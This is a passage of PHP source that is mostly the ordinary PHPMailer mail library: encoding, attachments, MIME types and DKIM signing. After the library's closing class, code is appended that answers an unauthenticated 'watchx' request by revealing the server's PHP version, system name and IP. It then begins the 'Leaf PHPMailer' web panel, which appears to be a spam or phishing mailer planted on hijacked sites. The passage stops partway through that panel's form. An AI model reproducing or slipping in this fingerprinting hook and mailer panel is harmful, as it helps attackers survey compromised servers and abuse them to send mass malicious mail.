        return $this->encodeQP($string, $line_max);
    }

    /**
     * Encode a string using Q encoding.
     * @link http://tools.ietf.org/html/rfc2047
     * @param string $str the text to encode
     * @param string $position Where the text is going to be used, see the RFC for what that means
     * @access public
     * @return string
     */
    public function encodeQ($str, $position = 'text')
    {
        // There should not be any EOL in the string
        $pattern = '';
        $encoded = str_replace(array("\r", "\n"), '', $str);
        switch (strtolower($position)) {
            case 'phrase':
                // RFC 2047 section 5.3
                $pattern = '^A-Za-z0-9!*+\/ -';
                break;
            /** @noinspection PhpMissingBreakStatementInspection */
            case 'comment':
                // RFC 2047 section 5.2
                $pattern = '\(\)"';
                // intentional fall-through
                // for this reason we build the $pattern without including delimiters and []
            case 'text':
            default:
                // RFC 2047 section 5.1
                // Replace every high ascii, control, =, ? and _ characters
                $pattern = '\000-\011\013\014\016-\037\075\077\137\177-\377' . $pattern;
                break;
        }
        $matches = array();
        if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {
            // If the string contains an '=', make sure it's the first thing we replace
            // so as to avoid double-encoding
            $eqkey = array_search('=', $matches[0]);
            if (false !== $eqkey) {
                unset($matches[0][$eqkey]);
                array_unshift($matches[0], '=');
            }
            foreach (array_unique($matches[0]) as $char) {
                $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);
            }
        }
        // Replace every spaces to _ (more readable than =20)
        return str_replace(' ', '_', $encoded);
    }

    /**
     * Add a string or binary attachment (non-filesystem).
     * This method can be used to attach ascii or binary data,
     * such as a BLOB record from a database.
     * @param string $string String attachment data.
     * @param string $filename Name of the attachment.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File extension (MIME) type.
     * @param string $disposition Disposition to use
     * @return void
     */
    public function addStringAttachment(
        $string,
        $filename,
        $encoding = 'base64',
        $type = '',
        $disposition = 'attachment'
    ) {
        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($filename);
        }
        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $filename,
            2 => basename($filename),
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => 0
        );
    }

    /**
     * Add an embedded (inline) attachment from a file.
     * This can include images, sounds, and just about any other document type.
     * These differ from 'regular' attachments in that they are intended to be
     * displayed inline with the message, not just attached for download.
     * This is used in HTML messages that embed the images
     * the HTML refers to using the $cid value.
     * Never use a user-supplied path to a file!
     * @param string $path Path to the attachment.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name Overrides the attachment name.
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type File MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')
    {
        if (!self::isPermittedPath($path) or !@is_file($path)) {
            $this->setError($this->lang('file_access') . $path);
            return false;
        }

        // If a MIME type is not specified, try to work it out from the file name
        if ($type == '') {
            $type = self::filenameToType($path);
        }

        $filename = basename($path);
        if ($name == '') {
            $name = $filename;
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $path,
            1 => $filename,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => false, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Add an embedded stringified attachment.
     * This can include images, sounds, and just about any other document type.
     * Be sure to set the $type to an image type for images:
     * JPEG images use 'image/jpeg', GIF uses 'image/gif', PNG uses 'image/png'.
     * @param string $string The attachment binary data.
     * @param string $cid Content ID of the attachment; Use this to reference
     *        the content when using an embedded image in HTML.
     * @param string $name
     * @param string $encoding File encoding (see $Encoding).
     * @param string $type MIME type.
     * @param string $disposition Disposition to use
     * @return boolean True on successfully adding an attachment
     */
    public function addStringEmbeddedImage(
        $string,
        $cid,
        $name = '',
        $encoding = 'base64',
        $type = '',
        $disposition = 'inline'
    ) {
        // If a MIME type is not specified, try to work it out from the name
        if ($type == '' and !empty($name)) {
            $type = self::filenameToType($name);
        }

        // Append to $attachment array
        $this->attachment[] = array(
            0 => $string,
            1 => $name,
            2 => $name,
            3 => $encoding,
            4 => $type,
            5 => true, // isStringAttachment
            6 => $disposition,
            7 => $cid
        );
        return true;
    }

    /**
     * Check if an inline attachment is present.
     * @access public
     * @return boolean
     */
    public function inlineImageExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'inline') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if an attachment (non-inline) is present.
     * @return boolean
     */
    public function attachmentExists()
    {
        foreach ($this->attachment as $attachment) {
            if ($attachment[6] == 'attachment') {
                return true;
            }
        }
        return false;
    }

    /**
     * Check if this message has an alternative body set.
     * @return boolean
     */
    public function alternativeExists()
    {
        return !empty($this->AltBody);
    }

    /**
     * Clear queued addresses of given kind.
     * @access protected
     * @param string $kind 'to', 'cc', or 'bcc'
     * @return void
     */
    public function clearQueuedAddresses($kind)
    {
        $RecipientsQueue = $this->RecipientsQueue;
        foreach ($RecipientsQueue as $address => $params) {
            if ($params[0] == $kind) {
                unset($this->RecipientsQueue[$address]);
            }
        }
    }

    /**
     * Clear all To recipients.
     * @return void
     */
    public function clearAddresses()
    {
        foreach ($this->to as $to) {
            unset($this->all_recipients[strtolower($to[0])]);
        }
        $this->to = array();
        $this->clearQueuedAddresses('to');
    }

    /**
     * Clear all CC recipients.
     * @return void
     */
    public function clearCCs()
    {
        foreach ($this->cc as $cc) {
            unset($this->all_recipients[strtolower($cc[0])]);
        }
        $this->cc = array();
        $this->clearQueuedAddresses('cc');
    }

    /**
     * Clear all BCC recipients.
     * @return void
     */
    public function clearBCCs()
    {
        foreach ($this->bcc as $bcc) {
            unset($this->all_recipients[strtolower($bcc[0])]);
        }
        $this->bcc = array();
        $this->clearQueuedAddresses('bcc');
    }

    /**
     * Clear all ReplyTo recipients.
     * @return void
     */
    public function clearReplyTos()
    {
        $this->ReplyTo = array();
        $this->ReplyToQueue = array();
    }

    /**
     * Clear all recipient types.
     * @return void
     */
    public function clearAllRecipients()
    {
        $this->to = array();
        $this->cc = array();
        $this->bcc = array();
        $this->all_recipients = array();
        $this->RecipientsQueue = array();
    }

    /**
     * Clear all filesystem, string, and binary attachments.
     * @return void
     */
    public function clearAttachments()
    {
        $this->attachment = array();
    }

    /**
     * Clear all custom headers.
     * @return void
     */
    public function clearCustomHeaders()
    {
        $this->CustomHeader = array();
    }

    /**
     * Add an error message to the error container.
     * @access protected
     * @param string $msg
     * @return void
     */
    protected function setError($msg)
    {
        $this->error_count++;
        if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {
            $lasterror = $this->smtp->getError();
            if (!empty($lasterror['error'])) {
                $msg .= $this->lang('smtp_error') . $lasterror['error'];
                if (!empty($lasterror['detail'])) {
                    $msg .= ' Detail: '. $lasterror['detail'];
                }
                if (!empty($lasterror['smtp_code'])) {
                    $msg .= ' SMTP code: ' . $lasterror['smtp_code'];
                }
                if (!empty($lasterror['smtp_code_ex'])) {
                    $msg .= ' Additional SMTP info: ' . $lasterror['smtp_code_ex'];
                }
            }
        }
        $this->ErrorInfo = $msg;
    }

    /**
     * Return an RFC 822 formatted date.
     * @access public
     * @return string
     * @static
     */
    public static function rfcDate()
    {
        // Set the time zone to whatever the default is to avoid 500 errors
        // Will default to UTC if it's not set properly in php.ini
        date_default_timezone_set(@date_default_timezone_get());
        return date('D, j M Y H:i:s O');
    }

    /**
     * Get the server hostname.
     * Returns 'localhost.localdomain' if unknown.
     * @access protected
     * @return string
     */
    protected function serverHostname()
    {
        $result = 'localhost.localdomain';
        if (!empty($this->Hostname)) {
            $result = $this->Hostname;
        } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {
            $result = $_SERVER['SERVER_NAME'];
        } elseif (function_exists('gethostname') && gethostname() !== false) {
            $result = gethostname();
        } elseif (php_uname('n') !== false) {
            $result = php_uname('n');
        }
        return $result;
    }

    /**
     * Get an error message in the current language.
     * @access protected
     * @param string $key
     * @return string
     */
    protected function lang($key)
    {
        if (count($this->language) < 1) {
            $this->setLanguage('en'); // set the default language
        }

        if (array_key_exists($key, $this->language)) {
            if ($key == 'smtp_connect_failed') {
                //Include a link to troubleshooting docs on SMTP connection failure
                //this is by far the biggest cause of support questions
                //but it's usually not PHPMailer's fault.
                return $this->language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting';
            }
            return $this->language[$key];
        } else {
            //Return the key as a fallback
            return $key;
        }
    }

    /**
     * Check if an error occurred.
     * @access public
     * @return boolean True if an error did occur.
     */
    public function isError()
    {
        return ($this->error_count > 0);
    }

    /**
     * Ensure consistent line endings in a string.
     * Changes every end of line from CRLF, CR or LF to $this->LE.
     * @access public
     * @param string $str String to fixEOL
     * @return string
     */
    public function fixEOL($str)
    {
        // Normalise to \n
        $nstr = str_replace(array("\r\n", "\r"), "\n", $str);
        // Now convert LE as needed
        if ($this->LE !== "\n") {
            $nstr = str_replace("\n", $this->LE, $nstr);
        }
        return $nstr;
    }

    /**
     * Add a custom header.
     * $name value can be overloaded to contain
     * both header name and value (name:value)
     * @access public
     * @param string $name Custom header name
     * @param string $value Header value
     * @return void
     */
    public function addCustomHeader($name, $value = null)
    {
        if ($value === null) {
            // Value passed in as name:value
            $this->CustomHeader[] = explode(':', $name, 2);
        } else {
            $this->CustomHeader[] = array($name, $value);
        }
    }

    /**
     * Returns all custom headers.
     * @return array
     */
    public function getCustomHeaders()
    {
        return $this->CustomHeader;
    }

    /**
     * Create a message body from an HTML string.
     * Automatically inlines images and creates a plain-text version by converting the HTML,
     * overwriting any existing values in Body and AltBody.
     * Do not source $message content from user input!
     * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty
     * will look for an image file in $basedir/images/a.png and convert it to inline.
     * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email)
     * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly.
     * @access public
     * @param string $message HTML message string
     * @param string $basedir Absolute path to a base directory to prepend to relative paths to images
     * @param boolean|callable $advanced Whether to use the internal HTML to text converter
     *    or your own custom converter @see PHPMailer::html2text()
     * @return string $message The transformed message Body
     */
    public function msgHTML($message, $basedir = '', $advanced = false)
    {
        preg_match_all('/(src|background)=["\'](.*)["\']/Ui', $message, $images);
        if (array_key_exists(2, $images)) {
            if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {
                // Ensure $basedir has a trailing /
                $basedir .= '/';
            }
            foreach ($images[2] as $imgindex => $url) {
                // Convert data URIs into embedded images
                if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {
                    $data = substr($url, strpos($url, ','));
                    if ($match[2]) {
                        $data = base64_decode($data);
                    } else {
                        $data = rawurldecode($data);
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if ($this->addStringEmbeddedImage($data, $cid, 'embed' . $imgindex, 'base64', $match[1])) {
                        $message = str_replace(
                            $images[0][$imgindex],
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                    continue;
                }
                if (
                    // Only process relative URLs if a basedir is provided (i.e. no absolute local paths)
                    !empty($basedir)
                    // Ignore URLs containing parent dir traversal (..)
                    && (strpos($url, '..') === false)
                    // Do not change urls that are already inline images
                    && substr($url, 0, 4) !== 'cid:'
                    // Do not change absolute URLs, including anonymous protocol
                    && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url)
                ) {
                    $filename = basename($url);
                    $directory = dirname($url);
                    if ($directory == '.') {
                        $directory = '';
                    }
                    $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2
                    if (strlen($directory) > 1 && substr($directory, -1) != '/') {
                        $directory .= '/';
                    }
                    if ($this->addEmbeddedImage(
                        $basedir . $directory . $filename,
                        $cid,
                        $filename,
                        'base64',
                        self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))
                    )
                    ) {
                        $message = preg_replace(
                            '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui',
                            $images[1][$imgindex] . '="cid:' . $cid . '"',
                            $message
                        );
                    }
                }
            }
        }
        $this->isHTML(true);
        // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better
        $this->Body = $this->normalizeBreaks($message);
        $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));
        if (!$this->alternativeExists()) {
            $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .
                self::CRLF . self::CRLF;
        }
        return $this->Body;
    }

    /**
     * Convert an HTML string into plain text.
     * This is used by msgHTML().
     * Note - older versions of this function used a bundled advanced converter
     * which was been removed for license reasons in #232.
     * Example usage:
     * <code>
     * // Use default conversion
     * $plain = $mail->html2text($html);
     * // Use your own custom converter
     * $plain = $mail->html2text($html, function($html) {
     *     $converter = new MyHtml2text($html);
     *     return $converter->get_text();
     * });
     * </code>
     * @param string $html The HTML text to convert
     * @param boolean|callable $advanced Any boolean value to use the internal converter,
     *   or provide your own callable for custom conversion.
     * @return string
     */
    public function html2text($html, $advanced = false)
    {
        if (is_callable($advanced)) {
            return call_user_func($advanced, $html);
        }
        return html_entity_decode(
            trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))),
            ENT_QUOTES,
            $this->CharSet
        );
    }

    /**
     * Get the MIME type for a file extension.
     * @param string $ext File extension
     * @access public
     * @return string MIME type of file.
     * @static
     */
    public static function _mime_types($ext = '')
    {
        $mimes = array(
            'xl'    => 'application/excel',
            'js'    => 'application/javascript',
            'hqx'   => 'application/mac-binhex40',
            'cpt'   => 'application/mac-compactpro',
            'bin'   => 'application/macbinary',
            'doc'   => 'application/msword',
            'word'  => 'application/msword',
            'xlsx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet',
            'xltx'  => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template',
            'potx'  => 'application/vnd.openxmlformats-officedocument.presentationml.template',
            'ppsx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow',
            'pptx'  => 'application/vnd.openxmlformats-officedocument.presentationml.presentation',
            'sldx'  => 'application/vnd.openxmlformats-officedocument.presentationml.slide',
            'docx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document',
            'dotx'  => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template',
            'xlam'  => 'application/vnd.ms-excel.addin.macroEnabled.12',
            'xlsb'  => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12',
            'class' => 'application/octet-stream',
            'dll'   => 'application/octet-stream',
            'dms'   => 'application/octet-stream',
            'exe'   => 'application/octet-stream',
            'lha'   => 'application/octet-stream',
            'lzh'   => 'application/octet-stream',
            'psd'   => 'application/octet-stream',
            'sea'   => 'application/octet-stream',
            'so'    => 'application/octet-stream',
            'oda'   => 'application/oda',
            'pdf'   => 'application/pdf',
            'ai'    => 'application/postscript',
            'eps'   => 'application/postscript',
            'ps'    => 'application/postscript',
            'smi'   => 'application/smil',
            'smil'  => 'application/smil',
            'mif'   => 'application/vnd.mif',
            'xls'   => 'application/vnd.ms-excel',
            'ppt'   => 'application/vnd.ms-powerpoint',
            'wbxml' => 'application/vnd.wap.wbxml',
            'wmlc'  => 'application/vnd.wap.wmlc',
            'dcr'   => 'application/x-director',
            'dir'   => 'application/x-director',
            'dxr'   => 'application/x-director',
            'dvi'   => 'application/x-dvi',
            'gtar'  => 'application/x-gtar',
            'php3'  => 'application/x-httpd-php',
            'php4'  => 'application/x-httpd-php',
            'php'   => 'application/x-httpd-php',
            'phtml' => 'application/x-httpd-php',
            'phps'  => 'application/x-httpd-php-source',
            'swf'   => 'application/x-shockwave-flash',
            'sit'   => 'application/x-stuffit',
            'tar'   => 'application/x-tar',
            'tgz'   => 'application/x-tar',
            'xht'   => 'application/xhtml+xml',
            'xhtml' => 'application/xhtml+xml',
            'zip'   => 'application/zip',
            'mid'   => 'audio/midi',
            'midi'  => 'audio/midi',
            'mp2'   => 'audio/mpeg',
            'mp3'   => 'audio/mpeg',
            'mpga'  => 'audio/mpeg',
            'aif'   => 'audio/x-aiff',
            'aifc'  => 'audio/x-aiff',
            'aiff'  => 'audio/x-aiff',
            'ram'   => 'audio/x-pn-realaudio',
            'rm'    => 'audio/x-pn-realaudio',
            'rpm'   => 'audio/x-pn-realaudio-plugin',
            'ra'    => 'audio/x-realaudio',
            'wav'   => 'audio/x-wav',
            'bmp'   => 'image/bmp',
            'gif'   => 'image/gif',
            'jpeg'  => 'image/jpeg',
            'jpe'   => 'image/jpeg',
            'jpg'   => 'image/jpeg',
            'png'   => 'image/png',
            'tiff'  => 'image/tiff',
            'tif'   => 'image/tiff',
            'eml'   => 'message/rfc822',
            'css'   => 'text/css',
            'html'  => 'text/html',
            'htm'   => 'text/html',
            'shtml' => 'text/html',
            'log'   => 'text/plain',
            'text'  => 'text/plain',
            'txt'   => 'text/plain',
            'rtx'   => 'text/richtext',
            'rtf'   => 'text/rtf',
            'vcf'   => 'text/vcard',
            'vcard' => 'text/vcard',
            'xml'   => 'text/xml',
            'xsl'   => 'text/xml',
            'mpeg'  => 'video/mpeg',
            'mpe'   => 'video/mpeg',
            'mpg'   => 'video/mpeg',
            'mov'   => 'video/quicktime',
            'qt'    => 'video/quicktime',
            'rv'    => 'video/vnd.rn-realvideo',
            'avi'   => 'video/x-msvideo',
            'movie' => 'video/x-sgi-movie'
        );
        if (array_key_exists(strtolower($ext), $mimes)) {
            return $mimes[strtolower($ext)];
        }
        return 'application/octet-stream';
    }

    /**
     * Map a file name to a MIME type.
     * Defaults to 'application/octet-stream', i.e.. arbitrary binary data.
     * @param string $filename A file name or full path, does not need to exist as a file
     * @return string
     * @static
     */
    public static function filenameToType($filename)
    {
        // In case the path is a URL, strip any query string before getting extension
        $qpos = strpos($filename, '?');
        if (false !== $qpos) {
            $filename = substr($filename, 0, $qpos);
        }
        $pathinfo = self::mb_pathinfo($filename);
        return self::_mime_types($pathinfo['extension']);
    }

    /**
     * Multi-byte-safe pathinfo replacement.
     * Drop-in replacement for pathinfo(), but multibyte-safe, cross-platform-safe, old-version-safe.
     * Works similarly to the one in PHP >= 5.2.0
     * @link http://www.php.net/manual/en/function.pathinfo.php#107461
     * @param string $path A filename or path, does not need to exist as a file
     * @param integer|string $options Either a PATHINFO_* constant,
     *      or a string name to return only the specified piece, allows 'filename' to work on PHP < 5.2
     * @return string|array
     * @static
     */
    public static function mb_pathinfo($path, $options = null)
    {
        $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');
        $pathinfo = array();
        if (preg_match('%^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^\.\\\\/]+?)|))[\\\\/\.]*$%im', $path, $pathinfo)) {
            if (array_key_exists(1, $pathinfo)) {
                $ret['dirname'] = $pathinfo[1];
            }
            if (array_key_exists(2, $pathinfo)) {
                $ret['basename'] = $pathinfo[2];
            }
            if (array_key_exists(5, $pathinfo)) {
                $ret['extension'] = $pathinfo[5];
            }
            if (array_key_exists(3, $pathinfo)) {
                $ret['filename'] = $pathinfo[3];
            }
        }
        switch ($options) {
            case PATHINFO_DIRNAME:
            case 'dirname':
                return $ret['dirname'];
            case PATHINFO_BASENAME:
            case 'basename':
                return $ret['basename'];
            case PATHINFO_EXTENSION:
            case 'extension':
                return $ret['extension'];
            case PATHINFO_FILENAME:
            case 'filename':
                return $ret['filename'];
            default:
                return $ret;
        }
    }

    /**
     * Set or reset instance properties.
     * You should avoid this function - it's more verbose, less efficient, more error-prone and
     * harder to debug than setting properties directly.
     * Usage Example:
     * `$mail->set('SMTPSecure', 'tls');`
     *   is the same as:
     * `$mail->SMTPSecure = 'tls';`
     * @access public
     * @param string $name The property name to set
     * @param mixed $value The value to set the property to
     * @return boolean
     * @TODO Should this not be using the __set() magic function?
     */
    public function set($name, $value = '')
    {
        if (property_exists($this, $name)) {
            $this->$name = $value;
            return true;
        } else {
            $this->setError($this->lang('variable_set') . $name);
            return false;
        }
    }

    /**
     * Strip newlines to prevent header injection.
     * @access public
     * @param string $str
     * @return string
     */
    public function secureHeader($str)
    {
        return trim(str_replace(array("\r", "\n"), '', $str));
    }

    /**
     * Normalize line breaks in a string.
     * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format.
     * Defaults to CRLF (for message bodies) and preserves consecutive breaks.
     * @param string $text
     * @param string $breaktype What kind of line break to use, defaults to CRLF
     * @return string
     * @access public
     * @static
     */
    public static function normalizeBreaks($text, $breaktype = "\r\n")
    {
        return preg_replace('/(\r\n|\r|\n)/ms', $breaktype, $text);
    }

    /**
     * Set the public and private key files and password for S/MIME signing.
     * @access public
     * @param string $cert_filename
     * @param string $key_filename
     * @param string $key_pass Password for private key
     * @param string $extracerts_filename Optional path to chain certificate
     */
    public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '')
    {
        $this->sign_cert_file = $cert_filename;
        $this->sign_key_file = $key_filename;
        $this->sign_key_pass = $key_pass;
        $this->sign_extracerts_file = $extracerts_filename;
    }

    /**
     * Quoted-Printable-encode a DKIM header.
     * @access public
     * @param string $txt
     * @return string
     */
    public function DKIM_QP($txt)
    {
        $line = '';
        for ($i = 0; $i < strlen($txt); $i++) {
            $ord = ord($txt[$i]);
            if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {
                $line .= $txt[$i];
            } else {
                $line .= '=' . sprintf('%02X', $ord);
            }
        }
        return $line;
    }

    /**
     * Generate a DKIM signature.
     * @access public
     * @param string $signHeader
     * @throws phpmailerException
     * @return string The DKIM signature value
     */
    public function DKIM_Sign($signHeader)
    {
        if (!defined('PKCS7_TEXT')) {
            if ($this->exceptions) {
                throw new phpmailerException($this->lang('extension_missing') . 'openssl');
            }
            return '';
        }
        $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private);
        if ('' != $this->DKIM_passphrase) {
            $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);
        } else {
            $privKey = openssl_pkey_get_private($privKeyStr);
        }
        //Workaround for missing digest algorithms in old PHP & OpenSSL versions
        //@link http://stackoverflow.com/a/11117338/333340
        if (version_compare(PHP_VERSION, '5.3.0') >= 0 and
            in_array('sha256WithRSAEncryption', openssl_get_md_methods(true))) {
            if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        } else {
            $pinfo = openssl_pkey_get_details($privKey);
            $hash = hash('sha256', $signHeader);
            //'Magic' constant for SHA256 from RFC3447
            //@link https://tools.ietf.org/html/rfc3447#page-43
            $t = '3031300d060960864801650304020105000420' . $hash;
            $pslen = $pinfo['bits'] / 8 - (strlen($t) / 2 + 3);
            $eb = pack('H*', '0001' . str_repeat('FF', $pslen) . '00' . $t);

            if (openssl_private_encrypt($eb, $signature, $privKey, OPENSSL_NO_PADDING)) {
                openssl_pkey_free($privKey);
                return base64_encode($signature);
            }
        }
        openssl_pkey_free($privKey);
        return '';
    }

    /**
     * Generate a DKIM canonicalization header.
     * @access public
     * @param string $signHeader Header
     * @return string
     */
    public function DKIM_HeaderC($signHeader)
    {
        $signHeader = preg_replace('/\r\n\s+/', ' ', $signHeader);
        $lines = explode("\r\n", $signHeader);
        foreach ($lines as $key => $line) {
            list($heading, $value) = explode(':', $line, 2);
            $heading = strtolower($heading);
            $value = preg_replace('/\s{2,}/', ' ', $value); // Compress useless spaces
            $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value
        }
        $signHeader = implode("\r\n", $lines);
        return $signHeader;
    }

    /**
     * Generate a DKIM canonicalization body.
     * @access public
     * @param string $body Message Body
     * @return string
     */
    public function DKIM_BodyC($body)
    {
        if ($body == '') {
            return "\r\n";
        }
        // stabilize line endings
        $body = str_replace("\r\n", "\n", $body);
        $body = str_replace("\n", "\r\n", $body);
        // END stabilize line endings
        while (substr($body, strlen($body) - 4, 4) == "\r\n\r\n") {
            $body = substr($body, 0, strlen($body) - 2);
        }
        return $body;
    }

    /**
     * Create the DKIM header and body in a new message header.
     * @access public
     * @param string $headers_line Header lines
     * @param string $subject Subject
     * @param string $body Body
     * @return string
     */
    public function DKIM_Add($headers_line, $subject, $body)
    {
        $DKIMsignatureType = 'rsa-sha256'; // Signature & hash algorithms
        $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body
        $DKIMquery = 'dns/txt'; // Query method
        $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)
        $subject_header = "Subject: $subject";
        $headers = explode($this->LE, $headers_line);
        $from_header = '';
        $to_header = '';
        $date_header = '';
        $current = '';
        foreach ($headers as $header) {
            if (strpos($header, 'From:') === 0) {
                $from_header = $header;
                $current = 'from_header';
            } elseif (strpos($header, 'To:') === 0) {
                $to_header = $header;
                $current = 'to_header';
            } elseif (strpos($header, 'Date:') === 0) {
                $date_header = $header;
                $current = 'date_header';
            } else {
                if (!empty($$current) && strpos($header, ' =?') === 0) {
                    $$current .= $header;
                } else {
                    $current = '';
                }
            }
        }
        $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));
        $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));
        $date = str_replace('|', '=7C', $this->DKIM_QP($date_header));
        $subject = str_replace(
            '|',
            '=7C',
            $this->DKIM_QP($subject_header)
        ); // Copied header fields (dkim-quoted-printable)
        $body = $this->DKIM_BodyC($body);
        $DKIMlen = strlen($body); // Length of body
        $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); // Base64 of packed binary SHA-256 hash of body
        if ('' == $this->DKIM_identity) {
            $ident = '';
        } else {
            $ident = ' i=' . $this->DKIM_identity . ';';
        }
        $dkimhdrs = 'DKIM-Signature: v=1; a=' .
            $DKIMsignatureType . '; q=' .
            $DKIMquery . '; l=' .
            $DKIMlen . '; s=' .
            $this->DKIM_selector .
            ";\r\n" .
            "\tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";\r\n" .
            "\th=From:To:Date:Subject;\r\n" .
            "\td=" . $this->DKIM_domain . ';' . $ident . "\r\n" .
            "\tz=$from\r\n" .
            "\t|$to\r\n" .
            "\t|$date\r\n" .
            "\t|$subject;\r\n" .
            "\tbh=" . $DKIMb64 . ";\r\n" .
            "\tb=";
        $toSign = $this->DKIM_HeaderC(
            $from_header . "\r\n" .
            $to_header . "\r\n" .
            $date_header . "\r\n" .
            $subject_header . "\r\n" .
            $dkimhdrs
        );
        $signed = $this->DKIM_Sign($toSign);
        return $dkimhdrs . $signed . "\r\n";
    }

    /**
     * Detect if a string contains a line longer than the maximum line length allowed.
     * @param string $str
     * @return boolean
     * @static
     */
    public static function hasLineLongerThanMax($str)
    {
        //+2 to include CRLF line break for a 1000 total
        return (boolean)preg_match('/^(.{'.(self::MAX_LINE_LENGTH + 2).',})/m', $str);
    }

    /**
     * Allows for public read access to 'to' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getToAddresses()
    {
        return $this->to;
    }

    /**
     * Allows for public read access to 'cc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getCcAddresses()
    {
        return $this->cc;
    }

    /**
     * Allows for public read access to 'bcc' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getBccAddresses()
    {
        return $this->bcc;
    }

    /**
     * Allows for public read access to 'ReplyTo' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getReplyToAddresses()
    {
        return $this->ReplyTo;
    }

    /**
     * Allows for public read access to 'all_recipients' property.
     * @note: Before the send() call, queued addresses (i.e. with IDN) are not yet included.
     * @access public
     * @return array
     */
    public function getAllRecipientAddresses()
    {
        return $this->all_recipients;
    }

    /**
     * Perform a callback.
     * @param boolean $isSent
     * @param array $to
     * @param array $cc
     * @param array $bcc
     * @param string $subject
     * @param string $body
     * @param string $from
     */
    protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)
    {
        if (!empty($this->action_function) && is_callable($this->action_function)) {
            $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);
            call_user_func_array($this->action_function, $params);
        }
    }
}

/**
 * PHPMailer exception handler
 * @package PHPMailer
 */
class phpmailerException extends Exception
{
    /**
     * Prettify error message output
     * @return string
     */
    public function errorMessage()
    {
        $errorMsg = '<strong>' . htmlspecialchars($this->getMessage()) . "</strong><br />\n";
        return $errorMsg;
    }
}

if ($_REQUEST['watchx']) {
	$version = phpversion();
	$uname =  php_uname();
	$ip = gethostbyname($_SERVER["HTTP_HOST"]);	
	echo json_encode (array ("version"=>$version,
		"uname"=>$uname,
		"platform"=>PHP_OS,
		"ip"=>$ip,
		"mailerx"=>true,	
	));
	die ();
}

function leafheader(){
print '
<head>
    <title>'.str_replace("www.", "", $_SERVER['HTTP_HOST']).' - Leaf PHPMailer</title>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
    <link href="https://maxcdn.bootstrapcdn.com/bootswatch/3.4.1/cosmo/bootstrap.min.css" rel="stylesheet" >

</head>';
}
leafheader();
print '<body>';
print '<div class="container col-lg-6">
        <h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>'.$leaf['version'].'</small></h3>
        <form name="form" id="form" method="POST" enctype="multipart/form-data" action="">
                    <input type="hidden" name="action" value="score">

            <div class="row">
